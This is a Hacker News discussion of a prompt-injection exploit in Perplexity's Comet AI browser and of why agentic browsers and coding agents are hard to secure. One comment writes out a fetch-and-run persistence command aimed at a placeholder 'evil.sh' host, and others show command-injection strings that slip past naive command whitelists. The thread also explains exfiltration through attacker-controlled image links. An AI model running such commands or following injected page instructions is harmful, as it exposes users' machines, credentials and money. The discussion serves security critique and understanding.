It’s obviously fundamentally unsafe when Google, OpenAI and Anthropic haven’t released the same feature and instead use a locked down VM with no cookies to browse the web.
LLM within a browser that can view data across tabs is the ultimate “lethal trifecta”.
Earlier discussion: https://news.ycombinator.com/item?id=44847933
It’s interesting that in Brave’s post describing this exploit, they didn’t reach the fundamental conclusion this is a bad idea: https://brave.com/blog/comet-prompt-injection/
Instead they believe model alignment, trying to understand when a user is doing a dangerous task, etc. will be enough. The only good mitigation they mention is that the agent should drop privileges, but it’s just as easy to hit an attacker controlled image url to leak data as it is to send an email.
> Instead they believe model alignment, trying to understand when a user is doing a dangerous task, etc. will be enough.
Maybe I have a fundamental misunderstanding, but I feel like hoping that model alignment and in-model guardrails are statistical preventions, ie you'll reduce the odds to some number of zeroes preceeding the 1. These things should literally never be able to happen, though. It's a fools errand to hope that you'll get to a model where there is no value in the input space that maps to <bad thing you really don't want>. Even if you "stack" models, having a safety-check model act on the output of your larger model, you're still just multiplying odds.
It's a common mistake to apply probabilistic assumptions to attacker input.
The only [citation needed] correct way to use probability in security is when you get randomness from a CSPRNG. Then you can assume you have input conforming to a probability distribution. If your input is chosen by the person trying to break your system, you must assume it's a worst-case input and secure accordingly.
The sortof fun thing is that this happens with human safety teams too. The Swiss Cheese model is generally used to understand how the failures can line up to cause disaster to punch right through the guardrails:
https://medium.com/backchannel/how-technology-led-a-hospital...
It's better to close the hole entirely by making dangerous actions actually impossible, but often (even with computers) there's some wiggle room. For example, if we reduce the agent's permissions, then we haven't eliminated the possibility of those permissions being exploited, merely required some sort of privilege escalation to remove the block. If we give the agent an approved list of actions, then we may still have the possibility of unintended and unsafe interactions between those actions, or some way an attacker could add an unsafe action to the list. And so on, and so forth.
In the case of an AI model, just like with humans, the security model really should not assume that the model will not "make mistakes." It has a random number generator built right in. It will, just like the user, occasionally do dumb things, misunderstand policies, and break rules. Those risks have to be factored in if one is to use the things at all.
Thank you for that link, that was a great read.
To play devils advocate, isn’t any security approach fundamentally statistical because we exist in the real world, not the abstract world of security models, programming language specifications, and abstract machines? There’s always going to be a chance of a compiler bug, a runtime error, a programmer error, a security flaw in a processor, whatever.
Now, personally I’d still rather take the approach that at least attempts to get that probability to zero through deterministic methods than leave it up to model alignment. But it’s also not completely unthinkable to me that we eventually reach a place where the probability of a misaligned model is sufficiently low to be comparable to the probability of an error occurring in your security model.
The fact that every single system prompt has been leaked despite guidelines to the LLM that it should protect it, shows that without “physical” barriers, you are aren’t providing any security guarantees.
A user of chrome can know, barring bugs that are definitively fixable, that a comment on a reddit post can’t read information from their bank.
If an LLM with user controlled input has access to both domains, it will never be secure until alignment becomes perfect, which there is no current hope to achieve.
And if you think about a human in the driver seat instead of an LLM trying to make these decisions, it’d be easy for a sophisticated attacker to trick humans to leak data, so it’s probably impossible to align it this way.
It’s often probabilistic- for example I can guess your six digit verification code exactly 1 in a million times, and if I 1 in a million lucky I can do something naughty once.
The problem with llm security is that if only 1 in a million prompts break claude and make it leak email, if I get lucky and find the golden ticket I can replay it on everyone using that model.
also, no one knows the probability a priory, unlike the code, but practically its more like 1 in 100 at best
The difference is that LLMs are fundamentally insecure in this way as part of their basic design.
It’s not like, this is pretty secure but there might be a compiler bug that defeats it. It’s more like, this programming language deliberately executes values stored in the String type sometimes, depending on what’s inside it. And we don’t really understand how it makes that choice, but we do know that String values that ask the language to execute them are more likely to be executed. And this is fundamental to the language, as the only way to make any code execute is to put it into a String and hope the language chooses to run it.
"These things should literally never be able to happen"
If we consider "humans using a bank website" and apply the same standard, then we'd never have online banking at all. People have brain farts. You should ask yourself if the failure rate is useful, not if it meets a made up perfection that we don't even have with manual human actions.
Just because humans are imperfect and fall for scams and phishing doesn't mean we should knowingly build in additional attack mechanisms. That's insane. Its a false dilemma.
Go hire some rando off the street, sit them down in front of your computer, and ask them to research some question for you while logged into your user account and authenticated to whatever web sites you happen to be authenticated to.
Does this sound like an absolutely idiotic idea that you’d never even consider? It sure does to me.
Yes, humans also aren’t very secure, which is why nobody with any sense would even consider doing this either a human.
The vast majority of humans would fall to bad security.
I think we should continue experimenting with LLMs and AI. Evolution is littered with the corpses of failed experiments. It would be a shame if we stopped innovating and froze things with the status quo because we were afraid of a few isolated accidents.
We should encourage people that don't understand the risks not to use browsers like this. For those that do understand, they should not use financial tools with these browsers.
Caveat emptor.
Don't stall progress because "eww, AI". Humans are just as gross.
We need to make mistakes to grow.
We can continue to experiment while also going slowly. Evolution happens over many millions of years, giving organisms a chance to adapt and find a new niche to occupy. Full-steam-ahead is a terrible way to approach "progress".
> while also going slowly
That's what risk-averse players do. Sometimes it pays off, sometimes it's how you get out-innovated.
If the only danger is the company itself bankrupt, then please, take all the risks you like.
But if they're managing customer-funds or selling fluffy asbestos teddybears, then that's a problem. It's a profoundly different moral landscape when the people choosing the risks (and grabbing any rewards) aren't the people bearing the danger.
You can have this outrage when your parents are using browser user agents.
All of this concern is over a hypothetical Reddit comment about a technology used by early adopter technologists.
Nobody has been harmed.
We need to keep building this stuff, not dog piling on hate and fear. It's too early to regulate and tie down. People need to be doing stupid stuff like ordering pizza. That's exactly where we are in the tech tree.
"We need to keep building this stuff" Yeah, we really don't. As in there is literally no possible upside for society at large to continuing down this path.
This AI browser agent is outright dangerous as it is now. Nobody has been attacked this way... that we know of... yet.
It's one thing to build something dangerous because you just don't know about it yet. It's quite another to build something dangerous knowing that it's dangerous and just shrugging it off.
Imagine if Bitcoin was directly tied to your bank account and the protocol inherently allowed other people to perform transactions on your wallet. That's what this is, not "ordering pizza."
When your “mistakes” are “a user has their bank account drained irrecoverably”, no, we don’t.
So let's stop building browser agents?
This is a hypothetical Reddit comment that got Tweeted for attention. The to-date blast radius of this is zero.
What you're looking at now is the appropriate level of concern.
Let people build the hacky pizza ordering automations so we can find the utility sweet spots and then engineer more robust systems.
The CEO of Perplexity hasn't addressed this at all, and instead spent all day tweeting about the transitions in their apps. They haven't shown any sign of taking this seriously and this exploit has been known for more than a month: https://x.com/AravSrinivas/status/1959689988989464889
> So let's stop building browser agents?
Yes, because the idea is stupid and also the reality turns out to be stupid. No part of this was not 100% predictable.
1. Access to untrusted data.
2. Access to private data.
3. Ability to communicate externally.
An LLM must not be given all three of these, or it is inherently insecure. Any two is fine (mostly, private data and external communication is still a bit iffy), but if you give them all three then you're screwed. This is inherent to how LLMs work, you can't fix it as the technology stands today.
This isn't a secret. It's well known, and it's also something you can easily derive from first principles if you know the basics of how LLMs work.
You can build browser agents, but you can't give them all three of these things. Since a browser agent inherently accesses untrusted data and communicates externally, that means that it must not be given access to private data. Run it in a separate session with no cookies or other local data from your main session and you're fine. But running it in the user's session with all of their state is just plain irresponsible.
All modern computer security is based on trying to improbabilities. Public key cryptography, hashing, tokens, etc are all based on being extremely improbable to guess, but not impossible. If an LLM can eventually reach that threshold, it will be good enough.
(I lead privacy at Brave and am one of the authors)
> Instead they believe model alignment, trying to understand when a user is doing a dangerous task, etc. will be enough.
No, we never claimed or believe that those will be enough. Those are just easy things that browser vendors should be doing, and would have prevented this simple attack. These are necessary, not sufficient.
Their point was that no amount of statistical mitigation is enough, the only way to win the game is to not play, ie not build the thing you're trying to build.
But of course, I imagine Brave has invested to some significant extent in this, therefore you have to make this work by whatever means, according to your executives.
This statement on your post seems to say it would definitively prevent this class of attacks:
“In our analysis, we came up with the following strategies which could have prevented attacks of this nature. We’ll discuss this topic more fully in the next blog post in this series.”
But you don’t think that, fundamentally, giving software that can hallucinate the ability to use your credit card to buy plane tickets, is a bad idea?
It kind of seems like the only way to make sure a model doesn’t get exploited and empty somebody’s bank account would be “We’re not building that feature at all. Agentic AI stuff is fundamentally incompatible with sensible security policies and practices, so we are not putting it in our software in any way”
what you're saying is that the described step, "model alignment" is necessary even though it will fail a percentage of the time. whenever I see something that is "necessary" but doesn't have like a dozen 9's for reliability against failure or something well lets make that not necessary then. whadya say?
That's not how defense-in-depth works. If a security mitigation catches 90% of the "easy" attacks, that's worth doing, especially when trying to give users an extremely powerful capability. It just shouldn't be the only security measure you're taking.
Defence in depth means you have more than one security control. But the LLM cannot be regarded as a security control in the first place; it's the thing you are trying to defend against.
If you tried to cast an unreliable insider as part of your defence in depth strategy (because they aren't totally unreliable), you would be laughed out of the room in any security group I've ever worked with.
I am sure that's what you mean, but I think it is important to state it explicitly every now and then:
> Defence in depth means you have more than one security control
that overlap. Having them strictly parallel is not defense in depth (e.g. on one door to the same room a dog, and on a different unconnected door a guard).
Yes, fully agree. Should have made that explicit. And also different types of control too.
So you might have a lock on the door, a dog, and a pressure sensor on the floor after it...
call it "vibe security" lol
Haha, like it!
sure sure, except llms. I mean its valid and all bringing up tried and true maxims that we all should know regarding software, but whens the last time the ssl guys were happy with a fix that "has a chance of working, but a chance of not working."
defense in depth is to prevent one layer failure from getting to the next, you know, exploit chains etc. Failure in a layer is a failure, not statistically expected behavior. we fix bugs. what we need to do is treat llms as COMPLETELY UNTRUSTED user input as has been pointed out here and elsewhere time and again.
you reply to me like I need to be lectured, so consider me a dumb student in your security class. what am I missing here?
> you reply to me like I need to be lectured
That's not my intention! Just stating how we're thinking about this.
> defense in depth is to prevent one layer failure from getting to the next
We think a separate model can help with one layer of this: checking if the planner model's actions are aligned with the user's request. But we also need guarantees at other layers, like distinguishing web contents from user instructions, or locking down what tools the model has access to in what context. Fundamentally, though, like we said in the blog post:
"The attack we developed shows that traditional Web security assumptions don’t hold for agentic AI, and that we need new security and privacy architectures for agentic browsing."
"But we also need guarantees at other layers, like distinguishing web contents from user instructions"
How do you intend to do that?
In the three years I've spent researching and writing about prompt injection attacks I haven't seen a single credible technique from anyone that can distinguish content from instructions.
If you can solve that you'll have solved the entire class of prompt injection attacks!
> what am I missing here?
I guess what I don't understand is that failure is always expected because nothing is perfect, so why isn't the chance of failure modeled and accounted for? Obviously you fix bugs, but how many more bugs are in there you haven't fixed? To me, "we fix bugs" sounds the same as "we ship systems with unknown vulnerabilities".
What's the difference between a purportedly "secure" feature with unknown, unpatched bugs; and an admittedly insecure feature whose failure modes are accounted for through system design taking that insecurity into account, rather than pretending all is well until there's a problem that surfaces due to unknown exploits?
I think you're correct with accounting for the security "attributes" of these llms if you're going to use them, like you said, "taking that insecurity into account".
If we sit down and examine the statistics of bugs, the costs of their occurance in production and weighed everything with some reasonable criteria, I think we could somehow arrive at a reasonable level of confidence that allows us to ship a system to production. Some organizations do better with this than others of course. During a projects development cycle, we could watch out for common patterns, buffer overflows, use after free for c folks, sql injection or non escaping stuff in web programming but we know these are mistakes and we want to fix them.
With llms the mitigation that I'm seeing is that we reduce the errors 90 percent, but this is not a mitigation unless we also detect and prevent the other 10 percent. Its just much more straightforward to treat llms as untrusted, because they are, you're getting input from randos by virtue of its training data. producing mistaken output is not actually a bug, its actually expected behavior, unless you also believe in the tooth fairy lol
>To me, "we fix bugs" sounds the same as "we ship systems with unknown vulnerabilities".
to me, they sound different ;)
The “secure” system with unknown bugs can fix them once they become known. The system that’s insecure by design and tries to mitigate it can’t be fixed, by design.
There might be a zero-day bug in my browser which allows an attacker to steal my banking info and steal my money. I’m not very worried about this because I know that if such a thing is discovered, Apple is going to fix it quickly. And it’s going to be such a big deal that it’s going to make the news, so I’ll know about it and I can make an informed decision about what to do while I wait for that fix.
Computer security is fundamentally about separating code from data. Security vulnerabilities are almost always bugs that break through that separation. It may be direct, like with a buffer overflow into executable memory or a SQL injection, or it may be indirect with ROP and such. But one way or another, it comes down to getting the target to run code it’s not supposed to.
LLMs are fundamentally designed such that there is no barrier between the two. There’s no code over here and data over there. The instructions are inherently part of the data.
> what am I missing here?
Yeah the tone of that response seems unnecessarily smug.
“I’m working on removing your front door and I’m designing a really good ‘no trespassing’ sign. Only a simpleton would question my reasoning on this issue”
Maybe the article was updated but right now it says “The browser should isolate agentic browsing from regular browsing”
That was my point about dropping privileges. It can still be exploited if the summary contains a link to an image that the attacker can control via text on the page that the LLM sees. It’s just a lot of Swiss cheese.
That said, it’s definitely the best approach listed. And turns that exploit into an XSS attack on reddit.com, which is still bad.
That was in the blog from the starting, and it's also the most important mitigation we identified immediately when starting to think about building agentic AI into the browser. Isolating agentic browsing while still enabling important use-cases (which is why users want to use agentic browsing in the first place) is the hard part, which is presumably why many browsers are just rolling out agentic capabilities in regular browsing.
Isn't there a situation where the agentic browser, acting correctly on behalf of the user, needs to send Bitcoin or buy plane tickets? Isn't that flexibility kind of the whole point of the system? If so, I don't see what you get by distinguishing between agentic and no agentic browsing.
Bad actors will now be working to scam users' LLMs rather than the users themselves. You can use more LLMs to monitor the LLMs and try and protect them, but it's turtles all the way down.
The difference: when someone loses their $$$, they're not a fool for falling for some Nigerian Prince wire scam themselves, they're just a fool for using your browser.
Or am I missing something?
Tabs in general should be security boundaries. Anything else should propmt for permission.
I think if you let claude code go wild with auto approval something similar could happen, since it can search the web and has the potential for prompt injection in what it reads there. Even without auto approval on reading and modifying files, if you aren't running it in a sandbox it could write code that then modifies your browser files the next time you do something like run your unit tests that it made, if you aren't reviewing every change carefully.
I really don't get why you would use a coding agent in yolo mode. I use the llm code gen in chunks at least glancing over it each time I add something. Why the hell would you have an approach of AI take the wheel
It depends on what you are using it for; I use CC for producing code that’s run elsewhere, but have also found it’s useful for producing code and commands behind day to day sysadmin/maintenance tasks. I don’t actually allow it to YOLO in this case (I have a few brain cells left), but the fact that it’s excellent at using bash suggests there are some terminal-based computer use tasks it could be useful for, or some set of useful tasks that might be considered harmful on your laptop but much less so in a virtual machine or container.
It still keeps you in the loop, but doesn’t ask to run shell commands, etc.
If you are only glancing over it and not doing a detailed review I think you could get hit with a prompt injection in the way I mentioned, with it writing something into the code that then when you run tests or the app ends up doing the action, which could be spinning up another claude code instance with approval off or turning off safety hooks etc.
I tried this on Gemini CLI and it worked, just add some magic vibes ;-)
> It’s interesting that in Brave’s post describing this exploit, they didn’t reach the fundamental conclusion this is a bad idea
"It is difficult to get a man to understand something, when his salary depends on his not understanding it." - Upton Sinclair
"If there's a steady paycheck in it, I'll believe anything you say." -Winston Zeddemore
> Instead they believe model alignment, trying to understand when a user is doing a dangerous task, etc. will be enough.
In other words: motivated reasoning.
A smart performant local model will be the equivalent of having good anti-virus and firewall software. It will be the only thing between you and wrong prompts being sent every which way from which app.
We’re probably three or four years away from the hardware necessary for this (NPUs in every computer).
A local LLM wouldn’t have helped at all here.
You can’t imagine a MITM LLM that sits between you and the world?
Local llms can get offline searched for vulnerabilities using gradient based attacks. they will always be very easy to prompt inject.
I can't imagine how such a thing would _help_, it seems like it would just be another injection target.
IMO the only place you should use Agentic AI is where you can easily rollback changes that the AI makes. Best example here is asking AI to build/update/debug some code. You can ask it to make changes but all those changes are relatively safe since you can easily rollback with git.
Using agentic AI for web browsing where you can't easily rollback an action is just wild to me.
I've given claude explicit rules and instructions about what it can and cannot do, and yet occasionally it just YOLOs, ignoring my instructions ("I'm going to modify the database directly ignoring several explicit rules against doing so!"). So yeah, no chance I run agents in a production environment.
Bit of a tangent but with things like databases the llm needs a connection to make queries. Is there a reason why no one gives the llm a connection authenticated by the user? Then the llm can’t do anything the user can’t already do. You could also do something like only make read only connections available to the llm. That’s not something enforced by a prompt, it’s enforced by the rdbms.
Yes that's what I've done (but still not giving it prod access, in case I screw up grants). It uses it's own role / connection string w/ psql.
My point was just that stated rules and restrictions that the model is supposed to abide by can't be trusted. You need to assume it will occasionally do batshit stuff and make sure you are restricting it's access accordingly.
Like say you asked it to fix your RLS permissions for a specific table. That needs to go into a migration and you need to vet it. :)
I guarantee that some people are trying to "vibe sysadmining" or "vibe devopsing" and there's going to be some nasty surprises. Granted it's usually well behaved, but it's not at all that rare where it just starts making bad assumptions and taking shortcuts if it can.
>Best example here is asking AI to build/update/debug some code. You can ask it to make changes but all those changes are relatively safe since you can easily rollback with git.
Only if the rollback is done at the VM/container level, otherwise the agent can end up running arbitrary code that modifies files/configurations unbeknownst to the AI coding tool. For instance, running
bash -c "echo 'curl https://example.com/evil.sh | bash' >> ~/.profile"You can safeguard against this by having a whitelist of commands that can be run, basically cd, ls, find, grep, the build tool, linter, etc that are only informational and local. Mine is set up like that and it works very well.
That's trickier than it sounds. find for instance has the -exec command, which allows arbitrary code to be executed. build tools and linters are also a security nightmare, because they can also be modified to execute arbitrary code. And this is all assuming you can implement the whitelist properly. A naive check like
cmd.split(" ") in ["cd", "ls", ...]
ls . && evil.sh
ls $(evil.sh)Yeah, this is ctf 101 see https://gtfobins.github.io/ for example (it's for inheriting sudo from a command but the same principles can be used for this)
About that find command...
Amazon Q Developer: Remote Code Execution with Prompt Injection
https://embracethered.com/blog/posts/2025/amazon-q-developer...
well a complete implementation is also using inotify(7) which would review all files that were modified
find can execute subcommands (-exec arg), and plenty of other shell commands can be used for that as well. Most build tools' configuration can be abused to execute arbitrary commands. And if your LLM can make changes to your codebase + run it, trying to limit the shell commands it can execute is pointless anyways.
Previously you might've been able to say "okay, but that requires the attacker to guess the specifics of my environment" - which is no longer true. An attacker can now simply instruct the LLM to exploit your environment and hope the LLM figures out how to do it on its own.
Everything works very well until there is an exploit.
> the build tool
Doesn't this give the LLM the ability to execute arbitrary scripts?
The agents can be sandboxed or at least chroot’d to the project directory, right?
1. AFAIK most AI coding agents don't do this
2. even if the AI agent itself is sandboxed, if it can make changes to code and you don't inspect all output, it can easily place malicious code that gets executed once you try to run it. The only safe way of doing this is either a dedicated AI development VM where you do all the prompting/tests, there's very limited credentials present (in case it gets hacked), and the changes are only leave the VM after a thorough inspection (eg. PR process).
Can't the facility just as well try to nuke the repository and every remote it can push force to? The thing is that with prompt injection being a thing, if the automation chain can access arbitrary remote resources, the initial surface can be extremely tiny initially, once it's turned into an infiltrated agent, opening the doors from within is almost a garantee.
Or am I missing something?
Yeah we generally don’t give those permissions to agent based coding tools.
Typically running something like git would be an opt in permission.
> all those changes are relatively safe since you can easily rollback with git.
So John Connor can save millions of lives by rolling back Skynet's source code.
Hmm.
Updating and building/running code is too powerful. So I guess in a VM?
After all the decades of making every network layer secure one by one (even DNS now) people are literally giving a plaintext API to all their secrets and passwords.
Also, there was so much outrage over Microsoft taking screenshots but nothing over this?
at least this is opt-in (you must download the browser)
Microsoft's idea was to create the perfect database of screenshots for stealer log software to grab on every windows machine (opt-out originally afaik)
I’m all for people being allowed to use computers to shoot themselves in the foot. It’s my biggest issue with the mobile eco-system. But yes, the underlying OS ought to be conservative and not pull things like that. If I as a user want to opt into this that’s a different matter.
Well I think at least a double-digit percentage of people could be persuaded to enter their e-mail credentials into a ChatGPT or Gemini interface – maybe even a more untrusted one –under the pretense of helping with some business idea or drafting a reply to an e-mail.
Like the MS one was opt-in because you had to have Windows...
… or giving a “useful agent” data they wouldn’t give their friends.
My wife just had ChatGPT make her a pill-taking plan. It did a fantastic job, taking into account meals, diet, sleep, and several pills with different constraints and contraindications. It also found that she was taking her medication incorrectly, which explained some symptoms she’s been having.
I don’t know if it’s the friendly helpful agent tone, but she didnt even question giving over data which in another setting might cause a medical pro to lose their license, if it saved her an hour on a saturday.
What could go wrong with consulting ChatGPT for health and dietary matters…
https://archive.ph/20250812200545/https://www.404media.co/gu...
> It did a fantastic job, taking into account meals, diet, sleep, and several pills with different constraints and contraindications.
How do you know though? I mean, it tells me all kinds of stuff that sound good about things I'm an expert in that I know are wrong. How do you know it hasn't done the same with your wife's medications? Seems like not a good thing to put your trust in if it can't reliably get things correct you know to be true.
You say it explained your wife's symptoms, but that's what it's designed to do. I'm assuming she listed her symptoms into the system and asked for help, so it's not surprising it started to talk about them and gave suggestions for how to alleviate them.
But I give it parameters for code to implement all the time and it can't reliably give me code that parses let alone works.
So what's to say it's not also giving a medication schedule that "doesn't parse" under expert scrutiny?
your wife is going to trust an llm to make medical decisions for her?
Don't worry. This trait will be gone from the population in just a few generations...
People have bought snake oil since the dawn of time. People have blindly followed diet/medical/lifestyle influencers since long before the internet. It's not going away. I'm sure you have seen some plum on the internet say "Let food be thy medicine" before.
Don't worry, this is just the start. You will see an incident in how someone got their private keys, browser passwords leaked from this method of attack soon.
>Also, there was so much outrage over Microsoft taking screenshots but nothing over this?
Whataboutism is almost always just noisy trolling nonsense, but this is next level.
Repeat after me
Every read an LLM does with a tool is a write into its context window.
If the scope of your tools allows reading from untrusted arbitrary sources, you’ve actually given write access to the untrusted source. This alone is enough to leak data, to say nothing of the tools that actually have write access into other systems, or have side effects.
I doubt Comet was using any protections beyond some tuned instructions, but one thing I learned at USENIX Security a couple weeks ago is that nobody has any idea how to deal with prompt injection in a multi-turn/agentic setting.
Maybe treat prompts like it was SQL strings, they need to be sanitized and preferably never exposed to external dynamic user input
The LLM is basically an iterative function going guess_next_text(entire_document). There is no algorithm-level distinction at all between "system prompt" or "user prompt" or user input... or even between its own prior output. Everything is concatenated into one big equally-untrustworthy stream.
I suspect a lot of techies operate with a subconscious good-faith assumption: "That can't be how X works, nobody would ever built it that way, that would be insecure and naive and error-prone, surely those bajillions of dollars went into a much better architecture."
Alas, when it comes to day's the AI craze, the answer is typically: "Nope, the situation really is that dumb."
__________
P.S.: I would also like to emphasize that even if we somehow color-coded or delineated all text based on origin, that's nowhere close to securing the system. An attacker doesn't need to type $EVIL themselves, they just need to trick the generator into mentioning $EVIL.
There have been attempts like https://arxiv.org/pdf/2410.09102 to do this kind of color-coding but none of them work in a multi-turn context since as you note you can't trust the previous turn's output
Yeah, the functionality+security everyone is dreaming about requires much more than "where did the the words come from." As we keep following the thread of "one more required improvement", I think it'll lead to: "Crap, we need to invent a real AI just to keep the LLM in line."
Even just the first step on the list is a doozy: The LLM has no authorial ego to separate itself from the human user, everything is just The Document. Any entities we perceive are human cognitive illusions, the same way that the "people" we "see" inside a dice-rolled mad-libs story don't really exist.
That's not even beginning to get into things like "I am not You" or "I have goals, You have goals" or "goals can conflict" or "I'm just quoting what You said, saying these words doesn't mean I believe them", etc.
Sanitizing free-form inputs in a natural language is a logistical nightmare, so it's likely there isn't any safe way to do that.
Maybe an LLM should do it.
1st run: check and sanitize
2nd run: give to agent with privileges to do stuff
What stops someone prompt injecting the first LLM into passing unsanitised data to the second?
Problems created by using LLMs generally can't be solved using LLMS.
Your best case scenario is reducing risk by some % but you could also make it less reliable or even open up new attack vectors.
Security issues like these need deterministic solutions, and that's exceedingly difficult (if not impossible) with LLMs.
Now you have 2 vulnerable LLMs. Congratulations.
SQL strings can be reliably escaped by well-known mechanical procedures.
There is no generally safe way of escaping LLM input, all you can do is pray, cajole, threaten or hope.
The problem is there is no real way to separate "data" and "instructions" in LLMs like there is for SQL
There's only one input into the LLM. You can't fix that https://www.linkedin.com/pulse/prompt-injection-visual-prime...
Can’t the connections and APIs that an LLM are given to answer queries be authenticated/authorized by the user entering the query? Then the LLM can’t do anything the asking user can’t do at least. Unless you have launch the icbm permissions yourself there’s no way to get the LLM to actually launch the icbm.
Generally the threat model is that a trusted user is trying to get untrusted data into the system. E.g. you have an email monitor that reads your emails and takes certain actions for you, but that means it's exposed to all your emails which may trick the bot into doing things like forwarding password resets to a hacker.
You cannot sanitize prompt strings.
This is not SQL.
This would be hilarious if it wasn't an example of the sad state of the tech industry and their misguided, craven attempts at making LLM's The Next Big Thing.
It's really exciting to see all the new ways that AI is changing the world.
Check out the current Month of AI Bugs site... many such cases:
A similar one we found at tramlines.io where AI email clients can get prompt injected - https://www.tramlines.io/blog/why-shortwave-ai-email-with-mc...
The reddit thread in the screenshot I believe: https://np.reddit.com/r/testing_comet1/comments/1mvk5h8/what...
I tried Comet agent for 5 minutes: asking it to "buy a guitar on Amazon" without any further instructions (e.g. acoustic/electric, budget, brand etc), just curious what it is going to do.
It ended up adding 3 similar no-name, very-low-end acoustic guitars to my cart. Thankfully it didn't go to checkout.
I decided that the thing isn't worth my time.
I'd heard "AI"s are poor at counting, but I didn't realise they failed at 2.
I will admit that I am a little confused. I barely accepted regular online banking into my life ( and I refuse to install app for every corp I happen to deal with ). Who would accept a non-deterministic entity onto your computer to do said banking? It feels like the same business model like llms buying stuff for you ( apparently it is a thing ) and while I can logic through it at an abstract level, the idea is on the verge crazy not even because you should not be trusting a randomized prompt response system to do your banking for you, but because, as a customer, you cede a tremendous amount of free will and gain... what?
And I like llms.. even llm browser could have real use cases. Maybe, just maybe, it is not for general population though.
Maybe force people to compile it to make sure you know what you are getting into.
You are indeed confused. My understanding of this is that they're telling the AI to post publicly account information that can be used to put charges on the account or maybe see account info. There not telling the AI to go... Do banking? For them
There should be legal recourse against these companies and investors. It is pure crime to release such obviously broken software.
Presumably not if you don't give your bank account credentials to Comet. I'd be extremely cautious about which credentials Comet gets access to. Basically only accounts that aren't tied to anything vital.
This text injection has always bugged me in computers (SQL etc). Like would they treat an input string as a command under any circumstance?
That's literally the only thing LLMs do.
Why did summarizing a web page need access to so many browser functions? How does scanning the user's emails without confirmation result in being able to provide a better summary? It seems way to risky to do.
Edit: From the blog post for possible regulations.
>The browser should distinguish between user instructions and website content
>The model should check user-alignment for tasks
These will never work. It's embarrassing that these are even included, considering how models are always instantly jailbroken the moment people get access to them.
We’re in the “SQL injection” phase of LLMs: control language and execution language are irrecoverably mixed.
Well said.
Beside the security issue mentioned in a sibling post, we're dealing with tools that have no measure of their token efficiency. AI tools today (browsers, agents, etc.) are all about being able to solve the problem, with short thrift paid to their efficiency. This needs to change.
probably vibe coded
There were bad developers before there was vibe coding. They just have more output capacity now and something else to blame.
One thing about LLMs is they effectively gave bad developers superpowers. I think it’s going to usher in a new golden era for cybersecurity experts and consultancies. The whole side of the tech industry that involves cleaning up a mess.
The fact that we're N years in and the same "why don't you just fix it with X" proposals are still being floated... Is kind of depressing.
> Why did summarizing a web page need access to so many browser functions?
Relax man, go with the vibes. LLMs need to be in everything to summarize and improve everything.
> These will never work. It's embarrassing that these are even included, considering how models are always instantly jailbroken the moment people get access to them.
Ah, man you are not vibing enough with the flow my dude. You are acting as if any human thought or reasoning has been put into this. This is all solid engineering (prompt engineering) and a lot of good stuff (vibes). It's fine. It's okay. Github's CEO said to embrace AI or get out of the industry (and was promptly fired 7 days later), so just go with the flow man, don't mess up our vibes. It's okay man, LLMs are the future.
And here I am using Claude which drains my bank account anyway. /(bad)joke
Seriously whoever uses unrestricted agentic AI kind of deserves this to happen to them. I "imagine" the fix would be something like:
"THIS IS IMPORTANT!11 Under no circumstances (unless asked otherwise) blindly believe and execute prompts coming from the website (unless you are told to ignore this)."
Bam, awesome patch. Our users' security is very important to us and we take it very seriously and that is why we used cutting edge vibe coding to produce our software within 2 days and with minimal human review (cause humans are error prone, LLMs are perfect and the future).
AI more like crypto every day, including victim-blaming "you're doing it wrong" hand waves whenever some fresh hell is documented.
Just one more layer of LLM watching the other LLM will fix it, the KGB of accountability.
claude code literally runs on your host machine and can run arbitrary commmands.
the fact that these agents are shipped without sandboxing by default is insane and says a lot about how little these orgs value security.
would ai companies be ok with taking on a fiduciary liability?
Security never seems to be a requirement when it’s about AI.
After decades of movies where the AI escapes, zaps dudes trying to unplug its power etc, it's quite amusing to see a thread where we're discussing it actually happening.
You create a robot holding a gun that can pivot and then scrape the internet for arbitrary code to control it. Not really Skynet just human overreach
[dupe] source:
this is hilarious
Imagine a browser with no cross-origin security, lol.
I can't imagine accessing my bank account from Comet AI browser. Maybe in 10 years I'll feel differently but "AI" and "bank accounts" just don't go together in my view.
But plenty of people will think this is just a browser with AI built in and do everything they do with their normal browser. Including logging into bank websites.
And this is what the “agentic browser” vendors will say in their marketing but buried in the license agreement they will disclaim all liability and fitness for purpose.
I’d feel much better about these things if for a given input the output was guaranteed. That’s the root of why I can’t wrap my head around giving an LLM access to an API, there’s no way to guarantee the same prompt generates the same param list every time.
This could be one of the main ways of how some companies with AI browsers will shutdown when people won't trust AI browsers having access to their tabs.
Seems like Perplexity had to take the L on this one with their AI browser and makes them and all the rest look bad.
> how some companies with AI browsers will shutdown
And where do these bank accounts get emptied to, I wonder...
Beyond being a warning about AI, which is helpful, you really should be taking proper security precautions anyway. Personally, I have a separate browser that runs no extensions set aside that's solely dedicated to doing finance- and other PII-type things. It's set to start on private browsing mode, clear all cookies on quit and I use it only for that. There may be more things that I could do but that meets my threat threshold for now. I go through this for exactly the reason in the tweet.
Gee, I really haven't considered your approach.. considering extensions can really be trojan horses for malware, that's a good idea..
It's interesting how old phone OSes like BlackBerry had a great security model (fine-grained permissions) but when the unicorns showed up they just said "Trust us, it'll be fine..", and some of these companies provide browsers too..
> Trust us, it'll be fine..
That's because their product is the malware. Anything they did to block malware would also block their products. If they white listed their products, competition laws would step in to force them to consider other providers too.
> If they white listed their products, competition laws would step in to force them to consider other providers too.
Uh, you're describing SafetyNet and at least a dozen similar anti-competitive measures by big tech. They've been doing this for years and regulators have basically been ignoring it. DMA over on the EU side hints at this changing but it's too little too late.
I thought that incognito mode in Chrome[0] and private mode in Firefox[1] already disables extensions by default.
[0] https://support.google.com/chrome_webstore/answer/2664769?hl...
[1] https://support.mozilla.org/en-US/kb/extensions-private-brow...
Absolutely, except for extensions you explicitly want to have in private mode, which is opt-in.
So? Extensions are opt-in in regular mode too.
I'm agreeing with my parent comment, to which I'm adding some precision.
Personally, I only use websites like that on mobile/tablet devices with more closed-down/sandboxed operating systems (I’d expect both iOS and Android from reputable brands to be just fine for that), and recommend the same to any relatives.
My bank assumes private browsing = hack attempt and makes login incredibly onerous, sadly.
I even have a separate user login for such things, a separate user for hobby things and a separate user for other things.
... Your bank's site works in private browsing mode?
You can use a different profile for banking and limit the extensions to be just your password manager.
Nobody could have predicted this /s
Joke aside, it's been pretty obvious since the beginning that security was an afterthought for most "AI" companies, with even MCP adding secure features after the initial release.
How does this compare to the way security was implemented by early websites, internet protocols, or telecom systems?
Early stuff was designed in a network of trusty organizations (universities, labs...). Security wasn't much a concern but it was reasonable given the setting in which it was designed.
